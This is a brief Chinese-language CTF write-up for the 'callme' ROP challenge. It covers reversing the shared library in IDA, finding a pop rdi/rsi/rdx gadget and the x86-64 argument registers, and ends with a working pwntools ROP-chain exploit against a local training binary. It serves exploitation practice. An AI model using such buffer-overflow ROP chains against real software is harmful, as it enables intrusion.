这道题惊喜点在于.so文件也可以拖到ida里逆向,服!
下面是题解过程:
左边发现奇怪的callme-one,two,three.
但是人家动态链接了,不知道内容是什么就无法利用,使用ida,把so文件拽里面
告诉我们,按这个参数就correctly了。
下面反倒过程平平无奇了
使用ROPgadget
找到三个参数的pop rdi rsi rdx ret
注意:当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。用栈时右到左,但64,32是相同顺序放在栈里的,很有意思。
exp:
from pwn import *
p = process("./callme")
one_addr = 0x400720
two_addr = 0x400740
three_addr = 0x4006f0
pop_ret = 0x40093c
payload = "A" *40 + p64(pop_ret) + p64(0xDEADBEEFDEADBEEF)+p64(0xCAFEBABECAFEBABE)+p64(0xD00DF00DD00DF00D) + p64(one_addr)
payload += p64(pop_ret) + p64(0xDEADBEEFDEADBEEF)+p64(0xCAFEBABECAFEBABE)+p64(0xD00DF00DD00DF00D) + p64(two_addr)
payload += p64(pop_ret) + p64(0xDEADBEEFDEADBEEF)+p64(0xCAFEBABECAFEBABE)+p64(0xD00DF00DD00DF00D) + p64(three_addr)
p.sendline(payload)
p.interactive()